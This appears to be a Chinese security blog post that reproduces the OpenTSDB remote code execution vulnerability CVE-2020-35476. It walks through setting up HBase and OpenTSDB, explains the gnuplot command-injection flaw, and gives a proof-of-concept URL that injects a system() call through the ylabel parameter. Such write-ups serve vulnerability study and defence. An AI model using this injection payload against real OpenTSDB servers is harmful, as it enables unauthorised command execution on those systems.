简介
OpenTSDB(Open Time Series Data Base)是基于HBASE构建的分布式、可扩展的时间序列数据库。OpenTSDB可以获取电力行业、化工行业、物联网行业等各类型实时监测、检查与分析设备所采集、产生的时间序列数据,并提供存储、索引以及图形化服务,使其易于访问和可视化。
影响版本
OpenTSDB <= 2.4.0
环境搭建
环境
Centos 7
安装依赖hbase
wget https://mirrors.tuna.tsinghua.edu.cn/apache/hbase/1.4.13/hbase-1.4.13-bin.tar.gz
tar -zxvf hbase-1.4.13-bin-tar.gz #解压文件包
cp -r hbase-1.4.13 /var/ #移动文件hbase-1.4.13到/var目录下
cd /var/hbase-1.4.13 进入目录
配置jdk路径
vi conf/hbase-env.sh
这里填写自己java所在的文件路径不清楚的话可以使用whereis java来查看
进入conf/hbase-site.xml文件,在<configuration>标签中添加以下内容
<configuration>
<property>
<name>hbase.rootdir</name>
<value>file:///home/itwild/hbase</value>
</property>
<property>
<name>hbase.zookeeper.property.dataDir</name>
<value>/home/itwild/zookeeper</value>
</property>
</configuration>
添加完毕之后
启动HBase
cd bin
./start-hbase.sh #启动hbase
./stop-hbase.sh #关闭hbase
启动之后再bin目录下执行
./hbase shell进入交互界面类似mysql的交互模式
create 'tsdb',{NAME => 't', VERSIONS => 1, BLOOMFILTER => 'ROW'}
create 'tsdb-uid',{NAME => 'id', BLOOMFILTER => 'ROW'},{NAME => 'name', BLOOMFILTER => 'ROW'}
create 'tsdb-tree',{NAME => 't', VERSIONS => 1, BLOOMFILTER => 'ROW'}
create 'tsdb-meta',{NAME => 'name', BLOOMFILTER => 'ROW'}
创建四张表
最后执行
list #查看四个表是否创建成功
安装opentsdb
wget https://github.com/OpenTSDB/opentsdb/releases/download/v2.3.2/opentsdb-2.3.2.noarch.rpm #下载opentsdb2.3.2
yum localinstall -y opentsdb-2.3.2.noarch.rpm #安装opentsdb
安装完成后把opentsdb注册为系统服务
vi /usr/lib/systemd/system/opentsdb.service
再里面添加以下内容
[Unit]
Description=OpenTSDB Service
[Service]
Type=forking
PrivateTmp=yes
ExecStart=/usr/share/opentsdb/etc/init.d/opentsdb start
ExecStop=/usr/share/opentsdb/etc/init.d/opentsdb stop
Restart=on-abort
然后就可以使用systemctl status opentsdb查看服务状态了
修改/etc/opentsdb/opentsdb.conf配置文件
最后启动opentsdb
systemctl start opentsdb
如果安装没有问题的话就可以打开locathost:4242看到这个界面了
漏洞原理
OpenTSDB 2.4.0及之前版本中存在远程代码执行漏洞,用户提交的yrange参数或其他相关参数的值在/src/tsd/GraphHandler.java文件中进行简单的反引号及其编码过滤处理后会被直接写入到/tmp目录下的gnuplot文件中。
而该gnuplot文件会被OpenTSDB目录下的/src/mygnuplot.sh脚本调用执行,攻击者可使用其他方式进行绕过上述限制,通过命令注入的方式触发远程代码执行漏洞。
漏洞复现
Poc
Localhost:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=[33:system(%27touch%20/tmp/poc.txt%27)]&xrange=10:10&yrange=www&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
执行成功回显
然后会在/tmp下成功创建gnuplot文件。
然后就可以等待该gnuplot文件被OpenTSDB目录下的/src/mygnuplot.sh脚本调用执行最后命令执行成功
修复建议
OpenTSDB官方暂未发布漏洞修复补丁,请及时关注厂商主页:http://opentsdb.net/
本文始发于微信公众号(锋刃科技):opentsdb远程代码执行(CVE-2020-35476)复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论